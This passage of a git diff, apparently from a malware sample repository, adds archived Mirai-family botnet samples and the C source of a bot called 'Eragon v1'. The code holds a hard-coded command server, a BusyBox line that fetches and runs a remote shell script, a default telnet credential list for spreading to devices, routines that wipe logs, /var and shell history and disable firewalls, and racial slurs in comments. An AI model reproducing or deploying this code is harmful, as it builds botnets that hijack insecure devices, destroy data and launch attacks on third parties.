if(strchr(server, ':') != NULL) {+ port = atoi(strchr(server, ':') + 1);+ *((unsigned char *)(strchr(server, ':'))) = 0x0;+ }+ KadenCommStock = socket(AF_INET, SOCK_STREAM, 0);+ if(!connectTimeout(KadenCommStock, server, port, 30)) return 1;+ return 0;+}+void UpdateNameSrvs()+{+ uint16_t fhandler = open("/etc/resolv.conf", O_WRONLY | O_TRUNC);+ if (access("/etc/resolv.conf", F_OK) != -1) {+ const char* resd = "nameserver 8.8.8.8\nnameserver 8.8.4.4\n";+ size_t resl = strlen(resd);+ write(fhandler, resd, resl);+ } else { return; }+ close(fhandler);+}+void RemoveTempDirs()+{+ system("rm -rf /tmp/* /var/* /var/run/* /var/tmp/*");+ system("rm -rf /var/log/wtmp");+ system("rm -rf /tmp/*");+ system("rm -rf /bin/netstat");+ system("iptables -F");+ system("pkill -9 busybox");+ system("pkill -9 perl");+ system("pkill -9 python");+ system("service iptables stop");+ system("/sbin/iptables -F; /sbin/iptables -X");+ system("service firewalld stop");+ system("rm -rf ~/.bash_history");+ system("history -c");+}+int main(int argc, unsigned char *argv[]) {+ char name_buf[32];+ char id_buf[32];+ int name_buf_len;+ if(SERVER_LIST_SIZE <= 0) return 0;+ unlink(argv[0]);+ rand_init();+ name_buf_len = ((rand_next() % 4) + 3) * 4;+ rand_alphastr(name_buf, name_buf_len);+ name_buf[name_buf_len] = 0;+ util_strcpy(argv[0], name_buf);+ name_buf_len = ((rand_next() % 6) + 3) * 4;+ rand_alphastr(name_buf, name_buf_len);+ name_buf[name_buf_len] = 0;+ prctl(PR_SET_NAME, name_buf);+ srand(time(NULL) ^ getpid());+ rand_init();+ pid_t pid1;+ pid_t pid2;+ int status;+ getOurIP();+ if (pid1 = fork()) {+ waitpid(pid1, &status, 0);+ exit(0);+ } else if (!pid1) {+ if (pid2 = fork()) {+ exit(0);+ } else if (!pid2) {+ } else {+ }+ } else {+ }+ chdir("/");+ signal(SIGPIPE, SIG_IGN);+ while(1) {+ if(initConnection()) { continue; }+ botnetPrint(KadenCommStock, "[ ERAGON ] \e[96m[%s] \e[97mConnected -> %s -> %s",getBuildz(), inet_ntoa(ourIP), getBuild(), getEndianness(), VERSION);+ UpdateNameSrvs();+ RemoveTempDirs();+ // port_closer(); to OP against SSH... Dont open or you are a nigger fosho (Recks Bots)+ char commBuf[4096];+ int got = 0;+ int i = 0;+ while((got = recvLine(KadenCommStock, commBuf, 4096)) != -1) {+ for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {+ unsigned int *newpids, on;+ for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];+ pids[on - 1] = 0;+ numpids--;+ newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));+ for (on = 0; on < numpids; on++) newpids[on] = pids[on];+ free(pids);+ pids = newpids;+ }+ commBuf[got] = 0x00;+ trim(commBuf);+ unsigned char *message = commBuf;+ if(*message == '!') {+ unsigned char *nickMask = message + 1;+ while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;+ if(*nickMask == 0x00) continue;+ *(nickMask) = 0x00;+ nickMask = message + 1;+ message = message + strlen(nickMask) + 2;+ while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;+ unsigned char *command = message;+ while(*message != ' ' && *message != 0x00) message++;+ *message = 0x00;+ message++;+ unsigned char *tmpcommand = command;+ while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }+ unsigned char *params[10];+ int paramsCount = 1;+ unsigned char *pch = strtok(message, " ");+ params[0] = command;+ while(pch) {+ if(*pch != '\n') {+ params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);+ memset(params[paramsCount], 0, strlen(pch) + 1);+ strcpy(params[paramsCount], pch);+ paramsCount++;+ }+ pch = strtok(NULL, " ");+ }+ processCmd(paramsCount, params);+ if(paramsCount > 1) {+ int q = 1;+ for(q = 1; q < paramsCount; q++) {+ free(params[q]);+ }+ }+ }+ }+ }+ return 0;+}diff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Execution.i.rar b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Execution.i.rarnew file mode 100644index 0000000..e0d9ec6Binary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Execution.i.rar differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Extendo.7z b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Extendo.7znew file mode 100644index 0000000..03a3434Binary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Extendo.7z differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.FBot.a.7z b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.FBot.a.7znew file mode 100644index 0000000..d14b992Binary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.FBot.a.7z differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Galaxy.d.rar b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Galaxy.d.rarnew file mode 100644index 0000000..de68079Binary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Galaxy.d.rar differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Galaxy.g.7z b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Galaxy.g.7znew file mode 100644index 0000000..aa42055Binary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Galaxy.g.7z differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Hades.7z b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Hades.7znew file mode 100644index 0000000..616c333Binary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Hades.7z differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Hakai.a.7z b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Hakai.a.7znew file mode 100644index 0000000..0c715a1Binary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Hakai.a.7z differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Joker.7z b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Joker.7znew file mode 100644index 0000000..c1e34ddBinary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Joker.7z differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Josho.b.7z b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Josho.b.7znew file mode 100644index 0000000..3772f8eBinary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Josho.b.7z differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Josho.c.7z b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Josho.c.7znew file mode 100644index 0000000..ed71015Binary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Josho.c.7z differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Katrina.a.7z b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Katrina.a.7znew file mode 100644index 0000000..9ed07f3Binary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Katrina.a.7z differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Kira.7z b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Kira.7znew file mode 100644index 0000000..729982bBinary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Kira.7z differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Kowai.rar b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Kowai.rarnew file mode 100644index 0000000..8d6d971Binary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Kowai.rar differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.L33t.d.7z b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.L33t.d.7znew file mode 100644index 0000000..6f76339Binary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.L33t.d.7z differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.L7.7z b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.L7.7znew file mode 100644index 0000000..03b6a07Binary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.L7.7z differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Lulz.rar b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Lulz.rarnew file mode 100644index 0000000..9056227Binary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Lulz.rar differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Oblivion.rar b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Oblivion.rarnew file mode 100644index 0000000..5e9bb01Binary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Oblivion.rar differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Okami.rar b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Okami.rarnew file mode 100644index 0000000..bca43bfBinary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Okami.rar differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Onryo.7z b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Onryo.7znew file mode 100644index 0000000..196b158Binary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Onryo.7z differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Oreo.7z b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Oreo.7znew file mode 100644index 0000000..357f109Binary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Oreo.7z differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.OwariReborn.7z b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.OwariReborn.7znew file mode 100644index 0000000..8dac21aBinary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.OwariReborn.7z differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Razor.rar b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Razor.rarnew file mode 100644index 0000000..f8f41bbBinary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Razor.rar differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Reaper.a.rar b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Reaper.a.rarnew file mode 100644index 0000000..3949151Binary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Reaper.a.rar differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Reaper.b.rar b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Reaper.b.rarnew file mode 100644index 0000000..ab63ab6Binary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Reaper.b.rar differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Rektbot.rar b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Rektbot.rarnew file mode 100644index 0000000..f5156d9Binary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Rektbot.rar differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Renegade.7z b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Renegade.7znew file mode 100644index 0000000..82e9cdcBinary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Renegade.7z differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Selfrep.7z b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Selfrep.7znew file mode 100644index 0000000..ca60910Binary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Selfrep.7z differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Shinto.d.7z b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Shinto.d.7znew file mode 100644index 0000000..0c8fc80Binary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Shinto.d.7z differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Sora.7z b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Sora.7znew file mode 100644index 0000000..cbcc259Binary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Sora.7z differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Sythe.7z b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Sythe.7znew file mode 100644index 0000000..23c59afBinary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Sythe.7z differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Ultron.a.7z b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Ultron.a.7znew file mode 100644index 0000000..7451e2eBinary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Ultron.a.7z differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Void.7z b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Void.7znew file mode 100644index 0000000..68b60afBinary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Void.7z differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Yagi.rar b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Yagi.rarnew file mode 100644index 0000000..ea26b18Binary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Yagi.rar differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Yummy.7z b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Yummy.7znew file mode 100644index 0000000..a168e48Binary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Yummy.7z differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Zekrom.rar b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Zekrom.rarnew file mode 100644index 0000000..38101b6Binary files /dev/null and b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.Zekrom.rar differdiff --git a/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.eragon.c b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.eragon.cnew file mode 100644index 0000000..46e4033--- /dev/null+++ b/Malwares/Advanced Malware/Mirai-Family/Mirai.Linux.eragon.c@@ -0,0 +1,1721 @@+// Good STD Attack+// Telnet Selfrep+// HTTPHEX Attack+#include <stdlib.h>+#include <stdarg.h>+#include <stdio.h>+#include <sys/socket.h>+#include <sys/types.h>+#include <netinet/in.h>+#include <arpa/inet.h>+#include <netdb.h>+#include <signal.h>+#include <strings.h>+#include <string.h>+#include <sys/utsname.h>+#include <unistd.h>+#include <fcntl.h>+#include <errno.h>+#include <netinet/ip.h>+#include <netinet/udp.h>+#include <netinet/tcp.h>+#include <sys/wait.h>+#include <sys/ioctl.h>+#include <net/if.h>+#include <time.h>+#include <dirent.h>+#include <ctype.h>+#include <sys/prctl.h>+#define VERSION "Eragon v1"+#define PAD_RIGHT 1+#define PAD_ZERO 2+#define PRINT_BUF_LEN 12+#define PR_SET_NAME 15+#define PHI 0x9e3779b9+#define CMD_IAC 255+#define CMD_WILL 251+#define CMD_WONT 252+#define CMD_DO 253+#define CMD_DONT 254+#define OPT_SGA 3+#define STD2_SIZE 65+#define STD_PIGZ 69+#define BUFFER_SIZE 1024+#define SERVER_LIST_SIZE (sizeof(ServerInfo) / sizeof(unsigned char *))+// Credit to Scar for all these Builds+char *getBuild() {+ #if defined(__x86_64__) || defined(_M_X64)+ return "x86_64";+ #elif defined(__i386) || defined(__i386__) || defined(_M_IX86)+ return "x86_32";+ #elif defined(__ARM_ARCH_4T__) || defined(__TARGET_ARM_4T)+ return "ARM-4";+ #elif defined(__ARM_ARCH_5_) || defined(__ARM_ARCH_5E_)+ return "ARM-5"+ #elif defined(__ARM_ARCH_6_) || defined(__ARM_ARCH_6T2_) || defined(__ARM_ARCH_6J_) || defined(__ARM_ARCH_6M_)+ return "ARM-6";+ #elif defined(__ARM_ARCH_7_) || defined(__ARM_ARCH_7A__) || defined(__ARM_ARCH_7R__) || defined(__ARM_ARCH_7M__)+ return "ARM-7";+ #elif defined(_mips__mips) || defined(__mips) || defined(__MIPS_) || defined(_mips)+ return "MIPS";+ #elif defined(__sh__)+ return "SUPERH";+ #elif defined(__powerpc) || defined(__powerpc_) || defined(_ppc_) || defined(__PPC__) || defined(_ARCH_PPC)+ return "POWERPC";+ #else+ return "UNKNOWN";+ #endif+}+char *getBuildz()+{+if(access("/usr/bin/python", F_OK) != -1){+return "SERVER";+} else {+return "DEVICE";+}+}+const char *useragents[] = {+ "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",+ "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",+ "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",+ "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",+ "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",+ "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",+ "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",+ "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",+ "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",+ "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",+ "Mozilla/5.0 (PLAYSTATION 3; 3.55)",+ "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",+ "wii libnup/1.0",+ "Mozilla/4.0 (PSP (PlayStation Portable); 2.00)",+ "PSP (PlayStation Portable); 2.00",+ "Bunjalloo/0.7.6(Nintendo DS;U;en)",+ "Doris/1.15 [en] (Symbian)",+ "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",+ "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100",+ "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",+ "Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01",+ "Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62",+ "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",+ "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",+ "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19",+ "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)",+ "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)",+ "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0",+ "SonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1",+ "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",+ "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0",+ "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",+ "MOT-V300/0B.09.19R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0",+ "Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0",+ "Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000",+ "MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1"+};++#define PRINTS // If you define you sir are a nigger+#define Server_Botport 27+unsigned char *ServerInfo[] = {"185.52.1.73:27"};+char *BusyBoxPayload = "cd /tmp; /bin/busybox wget http://185.52.1.73/bins.sh -O - > jeSjax; /bin/busybox chmod 777 jeSjax; sh /tmp/jeSjax\r\n";+char *usernames[] = {+ "root\0", //root:+ "root\0", //root:admin+ "admin\0", //admin:admin+ "root\0", //root:default+ "volition\0", //volition:volition+ "daemon\0", // daemon:daemon+ "support\0" //support:support+ "supervisor\0", //supervisor:zyad1234+ "root\0", //root:anko+ "guest\0", //guest:123456+ "default\0", //default:default+ "telnet\0", //telnet:telnet+ "root\0", //root:root+ "root\0", //root:changeme+ "root\0", //root:hunt5759+ "ubnt\0", //ubnt:ubnt+ "root\0", //root:5up+ "root\0", //root:password+ "root\0", //root:default+ "root\0", //root:changeme+ "root\0", //root:1234+ "root\0", //root:xc3511+ "root\0", //root:zsun1188+ "root\0", //root:awind5885+ "root\0", //root:hi3518+ "root\0", //root:a6a7wimax+ "admin\0", //admin:radius+ "usuario\0", //usuario:usuario+ "user\0", //user:user+ "root\0", //root:calvin+ "admin\0", //admin:tech+ "admin\0", //admin:aquario+ "admin\0", //admin:asante+ "admin\0", // admin:vertex25ektks123+ "admin\0", //admin:cat1029+ "root\0", //root:vertex25ektks123+ "root\0" //root:cat1029++};++char *passwords[] = {+ "\0", //root:+ "admin\0", // root:admin+ "admin\0", // admin:admin+ "default\0", // root:default+ "volition\0", //volition:volition+ "daemon\0", // daemon:daemon+ "support\0" //support:support+ "zyad1234\0", //supervisor:zyad1234+ "anko\0", //root:anko+ "123456\0", //guest:123456+ "default\0", //default:default+ "telnet\0", //telnet:telnet+ "root\0", //root:root+ "changeme\0", //root:changeme+ "hunt5759\0", //root:hunt5759+ "ubnt\0", //ubnt:ubnt+ "5up\0", //root:5up+ "password\0", //root:password+ "default\0", //root:default+ "changeme\0", //root:changeme+ "1234\0", //root:1234+ "xc3511\0", //root:xc3511+ "zsun1188\0", //root:zsun1188+ "awind5885\0", //root:awind5885+ "hi3518\0", //root:hi3518+ "a6a7wimax\0", //root:a6a7wimax+ "radius\0", //admin:radius+ "usuario\0", //usuario:usuario+ "user\0", //user:user+ "calvin\0", //root:calvin+ "tech\0", //admin:tech+ "aquario\0", //admin:aquario+ "asante\0", //admin:asante+ "vertex25ektks123\0", //admin:vertex25ektks123+ "cat1029\0", //admin:cato1029+ "vertex25ektks123\0", //root:vertex25ektks123+ "cat1029\0" //root:cat1029++};+char *tmpdirs[] = {"/dev/netslink/", "/tmp/", "/var/", "/dev/", "/var/run/", "/dev/shm/", "/mnt/", "/boot/", "/usr/", "/opt/", (char*)0};+char *advances[] = {":", "ogin", "sername", "assword", (char*)0};+char *fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};+char *successes[] = {"busybox", "$", "#", (char*)0};+char *advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "busybox", "$", "#", (char*)0};+int botnetServer = -1;+uint32_t *pids;+uint32_t botnetPid;+uint64_t numpids = 0;+struct in_addr ourIP;+struct in_addr ourPublicIP;+unsigned char macAddress[6] = {0};+char *inet_ntoa(struct in_addr in);+int KadenCommStock = 0;+int botnetPrint(int sock, char *formatStr, ...);+static uint32_t Q[4096], c = 362436;+void init_rand(uint32_t x) {+ int i;+ Q[0] = x;+ Q[1] = x + PHI;+ Q[2] = x + PHI + PHI;+ for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;+}+uint32_t rand_cmwc(void) {+ uint64_t t, a = 18782LL;+ static uint32_t i = 4095;+ uint32_t x, r = 0xfffffffe;+ i = (i + 1) & 4095;+ t = a * Q[i] + c;+ c = (uint32_t)(t >> 32);+ x = t + c;+ if (x < c) {+ x++;+ c++;+ }+ return (Q[i] = r - x);+}+static uint32_t x, y, z, w;+void rand_init(void) {+ x = time(NULL);+ y = getpid() ^ getppid();+ z = clock();+ w = z ^ y;+}+uint32_t rand_next(void) {+ uint32_t t = x;+ t ^= t << 11;+ t ^= t >> 8;+ x = y; y = z; z = w;+ w ^= w >> 19;+ w ^= t;+ return w;+}+void rand_str(char *str, int len) {+ while (len > 0) {+ if (len >= 4) {+ *((uint32_t *)str) = rand_next();+ str += sizeof (uint32_t);+ len -= sizeof (uint32_t);+ }+ else if (len >= 2) {+ *((uint16_t *)str) = rand_next() & 0xFFFF;+ str += sizeof (uint16_t);+ len -= sizeof (uint16_t);+ } else {+ *str++ = rand_next() & 0xFF;+ len--;+ }+ }+}+void rand_alphastr(uint8_t *str, int len) {+ const char alphaset[] = "kt8lmno5abghiiosdf63rlrs83rs9j0"; //keep this as is (randomize everytime you recompile)+ while (len > 0) {+ if (len >= sizeof (uint32_t)) {+ int i;+ uint32_t entropy = rand_next();+ for (i = 0; i < sizeof (uint32_t); i++) {+ uint8_t tmp = entropy & 0xff;+ entropy = entropy >> 8;+ tmp = tmp >> 3;+ *str++ = alphaset[tmp];+ }+ len -= sizeof (uint32_t);+ } else {+ *str++ = rand_next() % (sizeof (alphaset));+ len--;+ }+ }+}+int util_strlen(char *str) {+ int c = 0;+ while (*str++ != 0)+ c++;+ return c;+}+void util_memcpy(void *dst, void *src, int len) {+ char *r_dst = (char *)dst;+ char *r_src = (char *)src;+ while (len--)+ *r_dst++ = *r_src++;+}+int util_strcpy(char *dst, char *src) {+ int l = util_strlen(src);+ util_memcpy(dst, src, l + 1);+ return l;+}+static void printchar(unsigned char **str, int c) {+ if (str) {+ **str = c;+ ++(*str);+ }+ else (void)write(1, &c, 1);+}+unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd) {+ int got = 1, total = 0;+ while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }+ return got == 0 ? NULL : buffer;+}+static int prints(unsigned char **out, const unsigned char *string, int width, int pad) {+ register int pc = 0, padchar = ' ';+ if (width > 0) {+ register int len = 0;+ register const unsigned char *ptr;+ for (ptr = string; *ptr; ++ptr) ++len;+ if (len >= width) width = 0;+ else width -= len;+ if (pad & PAD_ZERO) padchar = '0';+ }+ if (!(pad & PAD_RIGHT)) {+ for ( ; width > 0; --width) {+ printchar (out, padchar);+ ++pc;+ }+ }+ for ( ; *string ; ++string) {+ printchar (out, *string);+ ++pc;+ }+ for ( ; width > 0; --width) {+ printchar (out, padchar);+ ++pc;+ }+ return pc;+}+static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase) {+ unsigned char print_buf[PRINT_BUF_LEN];+ register unsigned char *s;+ register int t, neg = 0, pc = 0;+ register unsigned int u = i;+ if (i == 0) {+ print_buf[0] = '0';+ print_buf[1] = '\0';+ return prints (out, print_buf, width, pad);+ }+ if (sg && b == 10 && i < 0) {+ neg = 1;+ u = -i;+ }+ s = print_buf + PRINT_BUF_LEN-1;+ *s = '\0';+ while (u) {+ t = u % b;+ if( t >= 10 )+ t += letbase - '0' - 10;+ *--s = t + '0';+ u /= b;+ }+ if (neg) {+ if( width && (pad & PAD_ZERO) ) {+ printchar (out, '-');+ ++pc;+ --width;+ } else {+ *--s = '-';+ }+ }+ return pc + prints (out, s, width, pad);+}+static int print(unsigned char **out, const unsigned char *format, va_list args ) {+ register int width, pad;+ register int pc = 0;+ unsigned char scr[2];+ for (; *format != 0; ++format) {+ if (*format == '%') {+ ++format;+ width = pad = 0;+ if (*format == '\0') break;+ if (*format == '%') goto out;+ if (*format == '-') {+ ++format;+ pad = PAD_RIGHT;+ }+ while (*format == '0') {+ ++format;+ pad |= PAD_ZERO;+ }+ for ( ; *format >= '0' && *format <= '9'; ++format) {+ width *= 10;+ width += *format - '0';+ }+ if( *format == 's' ) {+ register char *s = (char *)va_arg( args, intptr_t );+ pc += prints (out, s?s:"(null)", width, pad);+ continue;+ }+ if( *format == 'd' ) {+ pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');+ continue;+ }+ if( *format == 'x' ) {+ pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');+ continue;+ }+ if( *format == 'X' ) {+ pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');+ continue;+ }+ if( *format == 'u' ) {+ pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');+ continue;+ }+ if( *format == 'c' ) {+ scr[0] = (unsigned char)va_arg( args, int );+ scr[1] = '\0';+ pc += prints (out, scr, width, pad);+ continue;+ }+ } else {+ out:+ printchar (out, *format);+ ++pc;+ }+ }+ if (out) **out = '\0';+ 